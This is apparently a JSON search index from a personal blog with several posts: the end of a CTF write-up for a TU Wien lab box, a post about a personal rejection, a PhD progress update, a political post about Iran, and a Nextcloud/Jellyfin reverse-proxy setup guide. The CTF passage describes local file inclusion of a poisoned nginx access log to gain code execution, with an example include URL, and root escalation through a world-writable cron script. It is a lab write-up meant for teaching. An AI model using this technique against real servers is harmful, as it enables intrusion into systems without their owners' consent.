?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log \u0026amp;cmd=id On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That\u0026rsquo;s RCE. No pwreset required.\nHow I griefed myself What I did Why it hurt Defaulted to https:// everywhere Poison landed in ssl-web...access.log — 670 KB+ and growing Included the ssl log via LFI Output truncates around ~2 KB; poison sits at the tail Fired dozens of test payloads Left broken \u0026lt;?php in the HTTP log ($_GET[cmd] without quotes, \\x22, etc.) — PHP dies on the first bad tag before reaching a clean line Didn\u0026rsquo;t read index.php source early Missed the debug comment until I\u0026rsquo;d already polluted both logs Tobias\u0026rsquo;s take: that\u0026rsquo;s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.\nIf you\u0026rsquo;re solving it now Read index.php source first. Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload. Include the non-ssl access log path from the comment. Don\u0026rsquo;t spray malformed PHP into the log unless you enjoy debugging your own garbage. I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.\n12) TL;DR Read documentation.md — it tells you where the services live. Read index.php source — the debug comment gives you the log paths. Intended RCE = HTTP log poisoning → LFI include the non-ssl access log. What I did = pwreset → userchange → cron (also works, not the intended first step). Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root. Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP. Flag = concatenate all passwd_part slices + /root/passwd suffix. If you\u0026rsquo;re doing this as part of the TU Wien lab: don\u0026rsquo;t touch other groups\u0026rsquo; hosts, don\u0026rsquo;t break the infra, and maybe send Klaus a thank-you note for the cron job.\nHappy hacking. 🔓\nThanks to Tobias Fiebig for the delightfully cursed \u0026ldquo;real world\u0026rdquo; box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM jSr\u0026#43;7xAAjpbfTK8k\u0026#43;GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy\u0026#43;fTISF9Q\u0026#43;hRfMX 91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v\u0026#43;drZ2YVGk9mKW4FBfzbb1 iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03 35YFa3A1GMUiKAHcemIqJnDZuIInQa\u0026#43;OuPIDPGQva93I20eIn40nIVDLDsY15X\u0026#43;R FyxKVBAwO94We2g\u0026#43;lxhey\u0026#43;xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT oLsZXNoKbyZ2eXYF0f54it9JdDo\u0026#43;obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV\u0026#43; zNn5DrhIk5f4FMjJGUnO1QH\u0026#43;e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b\u0026#43; //J/Fdzi1YbKFyQlk9zfUUL\u0026#43;1vMoSbkORd7S3JYkibTns\u0026#43;uD9LxW27WIEcvYRw0K MlzdYdPXNCJZUDswt7HZCgQv66zF9\u0026#43;pLkQ/8rl\u0026#43;RVOMW9GqJmE6O0uh4xmPDE8vS YK3/9gFIcXVMy7WsIwEx\u0026#43;xWQqcm815OZSIrw4kvt1\u0026#43;seZ8lUURmoAWRDEFrFUTCG zB6tKRPKoID643AdO\u0026#43;Cb\u0026#43;GS5MLuypaQnoZzl3ALspaV7/YTfVcQ= =BDGe -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md.asc gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/","summary":"LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.","title":"A TU Wien CTF where Sysops Klaus left the keys in the cron job"},{"content":"Now that I\u0026rsquo;ve had some time to process, I think it\u0026rsquo;s good to write down this sad experience. First things first, I do know that I stand by my decision. I strongly believe whatever the f*** our interactions were, they were not of any use for me. Like what\u0026rsquo;s the point of waving at each other when we meet, say hello and ask how we are, etc., if ther is literally nothing else to it. If we would never enter eachother\u0026rsquo;s social cycle. I don\u0026rsquo;t know how to put the thing I want to say into words, but usually the way friendships go, at least for me, is that when you plan stuff with your friends, you tell your friends. Hm\u0026hellip; ok, it still doesn\u0026rsquo;t make sense. Let me think if I can say it better or not. Ok, let\u0026rsquo;s say you this person X. Imagine you interact with person X, talk to them, etc., but then that\u0026rsquo;s it, it is limited to \u0026ldquo;talking\u0026rdquo;. You count person X as a friend, but they are never invited to anything. They are kept at arms distance. Now I would assume it\u0026rsquo;s fun for many many people, but me\u0026hellip; I already have a small social cycle. It requires so much energy for me to start new connections, connections that are worth keeping. I don\u0026rsquo;t want to be a docker container. Some isolated thing that is only interacted with when needed. But I think I communicated this so badly, that it came off wrong. To be honest, even my therapist didn\u0026rsquo;t seem to believe me when I said I wanted to be included in her social circle. He though it was an attempt by me to poke her. I do strongly believe this wasn\u0026rsquo;t the case, but I\u0026rsquo;m too hurt to try to defend myself. I also highly doubt defending myself would work, it would just add more pressure, and harder rejection.\nNow the interesting part is my reaction. \u0026ldquo;Withdrawal\u0026rdquo;. The lesson I learned from past experiences is that explaining yourself or trying to fix things just results in more pain for you, and nothing being fixed. But this was strong. I did not want to respond. In fact, my first reaction was to delete the platform, not to be able to see the message to get hurt. During my therappy though, I did open the message. I went silent. I tried to process. The weight of that was heavy. It became hard to talk. Hard to reason. It was just\u0026hellip;. sad.\nGoing forward I know that the best way forward for me is to stop any communications with her. It is sad, this losing of a friend, but let\u0026rsquo;s be honest, were we friends? No. Not my definition of friendship. And honestly, this should be a hard line for me, I don\u0026rsquo;t care how you define friendship. If it isn\u0026rsquo;t mutual, it isn\u0026rsquo;t good enough for me. I need to be more dominant, and less scared. My lines are my lines, and they are not to be negotiated with. I need to remain strong, and just let go.\nI just realized I did not even talk about what happened. LMAO. Long story short, there was this person who I knew for some time. We used to exchange messages every once in a while. I asked if we would be spending time together, or with each other\u0026rsquo;s social circle, which to be honest came out super wrong :)))))) I wasn\u0026rsquo;t trying to ask her out. I just wanted to be included in some of the social gatherings with her social circle. To expand mine. To get to see new people. Call me an idiot, or whatever, but I didn\u0026rsquo;t know how to put this into words. And I did not do it correctly it seems as I got \u0026ldquo;rejected\u0026rdquo;. But as my friend says, \u0026ldquo;better a sad ending, than a never ending sadness\u0026rdquo;. I wansn\u0026rsquo;t trying to ask her out, but my social skills are so bad that it came so so wrongly.\nI do stand by my decision though. No more interactions with her. Nothing. I need to become friends with people that don\u0026rsquo;t keep me isolated, or stored for their needs. It should be mutual. At least, whatever interactions we had, had nothing useful for me. If anything, it just hurt me by showing how lonely I am. You can argue that is a good thing to at least figure it out, and I would argue why would I keep being fed this thing if there is no levy for me out? If I\u0026rsquo;m not being helped. If I\u0026rsquo;m being kept at arms distance. If I\u0026rsquo;m being isolated. I\u0026rsquo;m no docker process who should be kept isolated. I\u0026rsquo;m the kernel module.\nThis came out weird coming from me, but it is what it is :) I should, and need to say \u0026ldquo;I\u0026rdquo; sometimes. I need to assert dominance, to show I\u0026rsquo;m in control, to show I\u0026rsquo;m happy, to show everything is fine.\nDownloads: Markdown · Signature (.asc) Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/archive/face_of_rejection.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/archive/face_of_rejection.md.asc gpg --verify face_of_rejection.md.asc face_of_rejection.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/archive/face_of_rejection/","summary":"\u003cp\u003eNow that I\u0026rsquo;ve had some time to process, I think it\u0026rsquo;s good to write down this sad experience.\nFirst things first, I do know that I stand by my decision.\nI strongly believe whatever the f*** our interactions were, they were not of any use for me.\nLike what\u0026rsquo;s the point of waving at each other when we meet, say hello and ask how we are, etc., if ther is literally nothing else to it.\nIf we would never enter eachother\u0026rsquo;s social cycle.\nI don\u0026rsquo;t know how to put the thing I want to say into words, but usually the way friendships go, at least for me, is that when you plan stuff with your friends, you tell your friends.\nHm\u0026hellip; ok, it still doesn\u0026rsquo;t make sense.\nLet me think if I can say it better or not.\nOk, let\u0026rsquo;s say you this person X.\nImagine you interact with person X, talk to them, etc., but then that\u0026rsquo;s it, it is limited to \u0026ldquo;talking\u0026rdquo;.\nYou count person X as a friend, but they are never invited to anything.\nThey are kept at arms distance.\nNow I would assume it\u0026rsquo;s fun for many many people, but me\u0026hellip;\nI already have a small social cycle.\nIt requires so much energy for me to start new connections, connections that are worth keeping.\nI don\u0026rsquo;t want to be a docker container.\nSome isolated thing that is only interacted with when needed.\nBut I think I communicated this so badly, that it came off wrong.\nTo be honest, even my therapist didn\u0026rsquo;t seem to believe me when I said I wanted to be included in her social circle.\nHe though it was an attempt by me to poke her.\nI do strongly believe this wasn\u0026rsquo;t the case, but I\u0026rsquo;m too hurt to try to defend myself.\nI also highly doubt defending myself would work, it would just add more pressure, and harder rejection.\u003c/p\u003e","title":"Face of Rejection"},{"content":"I know, I know. I\u0026rsquo;ve been lacking updates. I\u0026rsquo;m so so sorry. I will try to summerize what I\u0026rsquo;ve been up tp in the past few months.\nUp until the middle of March, I\u0026rsquo;ve been taking care of the last bits of coursework I had to do during my prep phase. And now I\u0026rsquo;m done with that all together.\nI took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn\u0026rsquo;t know much about. Though no mail server for me unfortunately.\nI was then approached by a colleague who\u0026rsquo;s research needed a bit of push to get to the IMC deadline, and we pushed \u0026ldquo;HARD\u0026rdquo;. We submitted the paper with so much chaos I would say. But we did it.\nNow I wonder, both my research projects that I\u0026rsquo;ve been working on feel like there are more advanced than what we submitted, then we am I not drafting papers for them?! I will talk to my advisor about this. :)\nI also kinda started a new project, or at least we have floated the idea of, which sounds exciting. I would be working with one of my favorite group members. A true nerd! :)\nI will try to be more consistant throughout May by providing updates. Please cross your fingers for me! :D\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM jSo5RA/6AuVU66S\u0026#43;Io6igMjGYrllC4bO4bWusSWwCUdbnqe7j1cewMBJwciI1O9y fCQGlzP//JW3MKhAfI6uJRKNlTCIpDjMmRiivu7nmZRJKCsomOmdmThNwddaJIQ/ vnaalb9NgZB7xp6WtU/FUUuXEls6S8l0A\u0026#43;RNCQvo33\u0026#43;U\u0026#43;JiH5YbFUbXQkbjggTcP GGrA8JYXBQvIdHN6xAvGbLhuYnyc9KNayUOdp3FK6ecMzIhT1pZ/O/pE2J\u0026#43;kKRif vQyuWINpZZWxSV8\u0026#43;UMSmuwqBDvdVthWGezxS3/Kr3V/Y3OPJkfsv121hQkoyGhmM 1CXfwtD6I9aUHiuQfC5PW/zKYyujhoQ8RDPjK6IQ5jcjSeAE16h0O9MYFtbbrJqq AhP8p\u0026#43;XIL9J0xuwLqsN1wHhnd1COo/fpa0q8P5YsFi\u0026#43;F\u0026#43;sQmIX1waNiM2Bc69ZBh S\u0026#43;DcTUF4MsSSWFFfrts7BuXZQDFWqfEavqvSPQ3BRl/6QHZXmWtKGMb6o\u0026#43;GZSxRI hTTy7SSjCVR5TwCIcTExOe6NxbSJhR/7RwPwbvfoLS3Tji7WmDOD6qeFZY9G8Tyw vr9LIXqyrjKcltjpj6UEtjy3\u0026#43;sXYPxw2XL0bdjlzdgg4afI7gJ9\u0026#43;b2QjHKYYYy8H DjdPpaWlQvkGOBkfM\u0026#43;11Cwn5Q7U5\u0026#43;VdY\u0026#43;Qil0Qc/g2Ksl77/nvQ= =Wtha -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/April_2026.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/April_2026.md.asc gpg --verify April_2026.md.asc April_2026.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/april_2026/","summary":"\u003cp\u003eI know, I know.  I\u0026rsquo;ve been lacking updates. I\u0026rsquo;m so so sorry. I will try to summerize what I\u0026rsquo;ve been up tp in the past few months.\u003c/p\u003e\n\u003cp\u003eUp until the middle of March, I\u0026rsquo;ve been taking care of the last bits of coursework I had to do during my prep phase. And now I\u0026rsquo;m done with that all together.\u003c/p\u003e\n\u003cp\u003eI took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn\u0026rsquo;t know much about. Though no mail server for me unfortunately.\u003c/p\u003e","title":"April '26"},{"content":"Hello friends. I\u0026rsquo;m back. It\u0026rsquo;s been\u0026hellip; let\u0026rsquo;s say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I\u0026rsquo;m so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it\u0026rsquo;s shadow over the country for decades. It\u0026rsquo;s funny how his father (I\u0026rsquo;m talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people\u0026rsquo;s lives, and then selling people\u0026rsquo;s food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it\u0026rsquo;s not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not \u0026ldquo;own\u0026rdquo; makes him the best candidate for exploitation. And he has shown this very well.\nThe occasion is super grim. Radical right wants to oust radical right. LMFAOOOOO. I honestly think Iranian people are just far far divided, and both sides are utterly culturally underdeveloped. Anger has blinded their eyes, and they made a deal with the devil. The end will not be any good either. I have no hopes for the country anymore.\nIt\u0026rsquo;s so so sad that I\u0026rsquo;m siding the with this disgusting theocratic regime, just because they have not folded in front of the ones who do not care the least about Iran. Those who want to create a fail state, and expand their borders. It\u0026rsquo;s so sad that every time the country tried to move toward democracy, the people got fucked by a foreign power. The current revolution, the uprisings of 2023-4, JCPOA, \u0026hellip;, Persian Constitutional Revolution, etc.. So fucking sad.\nThe saddest part is with how much Iran has gotten fucked over the decades, and how far right this regisme has become, I don\u0026rsquo;t think the people will ever have the possibility of making change from within for many many more years to come. And foreign intervention just fuels the current regime\u0026rsquo;s influence over it\u0026rsquo;s people.\nAnother reason why we got so screwed is Oil. The curse of resources is sadly a thing that can cause what you see. A defiant regime, who rules bruttally against it\u0026rsquo;s own people. Years of stagflation, and no bright light in sight.\nAnyway, I just wanted to write something as I was very much inactive for the past few months. I submitted a paper this week, and have big big plans for my own projects. :)\nUnfortunately not advancement on the dating lifepart. Dating sucks for avg boys like me! Cross your fingers please! :D:D\nI honestly also don\u0026rsquo;t feel like proofreading the text, so\u0026hellip; there would be many mistakes. :) And honestly, idc.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM jSrREBAAlQM2XgTsOiyZ9MkFSkJ47nsvh9rqslZMdQkfHyHwUBAFdjUfx18ZFvRK 5JOxVAUAk1R8GOzr8LqTVeBMEmztnBFrYcnzXo0wfbydPt6IdgmCNQMAYHw/y/Pz Ncqa1n\u0026#43;O/lOyAWm2kMEwtNEqAj9TB48LxF53DCzpFO/mjr80aBYhVPQN4GlqMs9l rsY6qy0LbzC3FPtw0DdxEVr8seL7qYZc34tnTtsGFdxoalbS\u0026#43;K5uanIieb1qQ5Rw z6UNkiCqUJQVVsZc04PlzBQfghRwifwgwuh2rDh1yl9cClgE4Gu2QmATq\u0026#43;8\u0026#43;ozH\u0026#43; 0XME9Dy/xEhbFay5FphJ7u8BoxCEkuLRmYjfYxkXB8N81uSCMitxKywsL5Bn/Mwb 4bXwNsJUqeNC7UIWnaMoEzy9aR53BRsOEZdEMY\u0026#43;1Ade\u0026#43;vRbuQOxTq70prw9efUnM XraZbBSSERV9v8d16A4ZA3hn6PsbvACYAa72FzrlrZhgeSMgagoLp\u0026#43;QWcUBiRZCS /mNXcSn04Ep/o9EuFZZyxRPGx0fFXO2ZNjN/WpctIb8qlNyoqMhyMb4NXJXrr/d1 wY3LJjmn8UM\u0026#43;MOi0CRBYg0B0He4AnGsKD2ARncv6s3vPwPWr95p6jhThOZ/3wqyM QGESlBJ5rM/PmozfLI5D\u0026#43;I\u0026#43;YuX9HM8VO1/HcP28U11lfGCm48YA= =7md6 -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/h3ll0_fr1end.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/h3ll0_fr1end.md.asc gpg --verify h3ll0_fr1end.md.asc h3ll0_fr1end.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/h3ll0_fr1end/","summary":"\u003cp\u003eHello friends. I\u0026rsquo;m back. It\u0026rsquo;s been\u0026hellip; let\u0026rsquo;s say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I\u0026rsquo;m so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it\u0026rsquo;s shadow over the country for decades. It\u0026rsquo;s funny how his father (I\u0026rsquo;m talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people\u0026rsquo;s lives, and then selling people\u0026rsquo;s food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it\u0026rsquo;s not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not \u0026ldquo;own\u0026rdquo; makes him the best candidate for exploitation. And he has shown this very well.\u003c/p\u003e","title":"H3ll0 Fr1end"},{"content":" I didn’t “move Nextcloud to the cloud”.\nI moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄\nThis post documents the setup I ended up with:\nA public VPS (host: funbox) running Nginx + Let’s Encrypt A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …) A private backhaul using Tailscale (the 100.x.y.z network) A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values) A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin\n(in addition to Jellyfin’s own login) I’m writing this as a “future me” note and a “copy-paste friendly” guide.\n0) Topology The request path looks like:\nBrowser ↓ HTTPS (public) Cloudflare DNS (optional proxy on/off) ↓ VPS (funbox) — Nginx reverse proxy + Let\u0026#39;s Encrypt ↓ HTTP over Tailscale (private 100.x network) Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / … Why I like it:\nThe Pi can sit behind home router / CGNAT and still be reachable. TLS, redirects, headers, auth, rate limits… all centralized on the VPS. Internal IPs can change without breaking public URLs. 1) What’s running on the Pi? On iot-hub the “interesting” containers are:\nnextcloud (Apache variant) nextcloud-db (Postgres) nextcloud-redis jellyfin Example docker ps style output (yours may vary):\nnextcloud nextcloud:apache 0.0.0.0:8080-\u0026gt;80/tcp jellyfin jellyfin/jellyfin 0.0.0.0:8096-\u0026gt;8096/tcp So on the Pi, the services listen on:\nhttp://\u0026lt;pi\u0026gt;:8080 for Nextcloud http://\u0026lt;pi\u0026gt;:8096 for Jellyfin But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.\n2) Tailscale: the private wire between VPS and Pi Tailscale assigns each node an address like 100.xx.yy.zz.\nIn my config, Nginx on funbox points to the Pi via Tailscale:\nNextcloud upstream: http://100.104.127.96:8080 Jellyfin upstream: http://100.104.127.96:8096 (Use the Tailscale IP of your Pi.)\nQuick sanity checks from the VPS:\n# from funbox, make sure you can reach the Pi service: curl -I http://100.104.127.96:8080 curl -I http://100.104.127.96:8096 If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).\n3) Nginx on the VPS: reverse proxy blocks 3.1 Nextcloud vhost (VPS → Pi via Tailscale) Create (or edit):\n/etc/nginx/sites-available/nextcloud.alipourimjourneys.ir\nand symlink into sites-enabled.\nHere is a complete working example:\n# Redirect HTTP → HTTPS server { listen 80; listen [::]:80; server_name nextcloud.alipourimjourneys.ir; return 301 https://$host$request_uri; } server { listen 443 ssl; listen [::]:443 ssl; server_name nextcloud.alipourimjourneys.ir; # Certbot-managed certs ssl_certificate /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem; include /etc/letsencrypt/options-ssl-nginx.conf; ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # Big uploads (tune to taste) client_max_body_size 2G; # CalDAV/CardDAV redirects location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; } location = /.well-known/caldav { return 301 https://$host/remote.php/dav/; } location / { proxy_pass http://100.104.127.96:8080; proxy_http_version 1.1; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; # Sometimes helps apps behind multiple proxies proxy_set_header X-Forwarded-Host $host; proxy_set_header X-Forwarded-Port $server_port; # Nextcloud + WebDAV can do long requests proxy_read_timeout 3600; proxy_send_timeout 3600; # Usually good for DAV/uploads proxy_buffering off; proxy_request_buffering off; } } Then test + reload:\nsudo nginx -t sudo systemctl reload nginx 3.2 Jellyfin vhost (with Basic Auth) Create:\n/etc/nginx/sites-available/jellyfin.alipourimjourneys.ir\nExample:\nserver { listen 80; listen [::]:80; server_name jellyfin.alipourimjourneys.ir; return 301 https://$host$request_uri; } server { listen 443 ssl; listen [::]:443 ssl; server_name jellyfin.alipourimjourneys.ir; ssl_certificate /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem; include /etc/letsencrypt/options-ssl-nginx.conf; ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; client_max_body_size 512M; # ✅ Basic Auth gate (extra layer before Jellyfin) auth_basic \u0026#34;Jellyfin (private)\u0026#34;; auth_basic_user_file /etc/nginx/.htpasswd-jellyfin; location / { proxy_pass http://100.104.127.96:8096; proxy_http_version 1.1; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; # Jellyfin uses websockets proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026#34;upgrade\u0026#34;; proxy_read_timeout 3600; proxy_send_timeout 3600; proxy_buffering off; } } Enable:\nsudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/ sudo nginx -t sudo systemctl reload nginx 4) Creating the Basic Auth password file Install tools (Debian/Ubuntu):\nsudo apt-get update sudo apt-get install -y apache2-utils Create the password file:\nsudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername (If adding more users later, omit -c.)\nLock it down:\nsudo chown root:root /etc/nginx/.htpasswd-jellyfin sudo chmod 640 /etc/nginx/.htpasswd-jellyfin Notes on clients Most browsers + most Jellyfin apps handle HTTP Basic Auth fine. Some TV apps can be quirky. If a client can’t handle it, you can: remove Basic Auth, or keep it only on selected paths, or use Cloudflare Access in front of Jellyfin instead (more work). 5) Nextcloud: configure it to behave behind the reverse proxy Nextcloud needs to know:\nwhat hostnames are valid, which proxy is trusted, and what the “outside” URL scheme is. You can do it via occ inside the container (Apache image uses www-data).\n5.1 trusted_domains Check current values:\ndocker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains Add your public domain:\ndocker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value=\u0026#34;nextcloud.alipourimjourneys.ir\u0026#34; (Keep your internal name too if you still use it, e.g. rpi:8080.)\n5.2 trusted_proxies Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.\nExample:\ndocker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value=\u0026#34;100.99.79.75\u0026#34; (Use the VPS’s Tailscale IP as seen from the Pi.)\n5.3 overwritehost / overwriteprotocol / overwrite.cli.url Tell Nextcloud “the world sees me as https://nextcloud.example”:\ndocker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value=\u0026#34;nextcloud.alipourimjourneys.ir\u0026#34; docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value=\u0026#34;https\u0026#34; docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value=\u0026#34;https://nextcloud.alipourimjourneys.ir\u0026#34; 5.4 forwarded_for_headers (optional, but often helpful) docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value=\u0026#34;HTTP_X_FORWARDED_FOR\u0026#34; Restart Nextcloud container after config:\ndocker restart nextcloud 6) Sanity checks (curl is your friend) From anywhere public:\ncurl -I http://nextcloud.alipourimjourneys.ir curl -I https://nextcloud.alipourimjourneys.ir curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav Expected “good signs”:\nHTTP returns 301 to HTTPS HTTPS returns 302 to /login (or 200 if already authenticated) /.well-known/caldav returns 301 to /remote.php/dav/ If you see redirect loops or wrong hostnames:\nrevisit overwritehost, overwriteprotocol, trusted_proxies. 7) “Do I really need Cloudflare Access / WARP?” The honest answer If your setup is:\nHTTPS only strong passwords + MFA in Nextcloud/Jellyfin your origin isn’t directly exposed (only the VPS is public) you keep things patched …then you’re already in a reasonable place.\n“Can I skip Cloudflare Access?” Yes. In this topology, Cloudflare Access is optional. The main security boundary is:\nPublic: VPS + Nginx Private: Pi over Tailscale For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.\n8) Cloudflare Access: One-time PIN not arriving + passkeys Two common gotchas:\n8.1 One-time PIN email didn’t arrive That flow relies on email delivery. Check:\nspam/junk folder if your provider blocked it the exact email allowlist in your policy If it’s flaky, I’d avoid One-time PIN and use a real identity provider.\n8.2 Can I use passkeys / Apple / Google? Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. Practical approach:\npick what your family already uses (Google or Apple), configure that as the login method, avoid WARP enrollment unless you specifically want device-based access. 9) Hardening checklist (tiny but effective) On the VPS:\nKeep Ubuntu security updates on firewall: allow only what you need (22/80/443) optional: fail2ban for SSH On the Pi:\nkeep Docker images updated Postgres/Redis not exposed publicly (Docker internal network) backups: Nextcloud data + DB 10) TL;DR VPS Nginx terminates TLS, proxies to Pi over Tailscale Nextcloud must be told about: trusted_domains trusted_proxies overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url) curl -I should show sane redirects + /remote.php/dav/ Jellyfin gets an extra gate with Nginx Basic Auth Boring is good. Boring runs for months.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM jSomZA/\u0026#43;LsB\u0026#43;V0BnPki5qaDc\u0026#43;tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er vfg48uYNp4fBnoyfJrgURx\u0026#43;OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC\u0026#43;58lGs \u0026#43;qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ 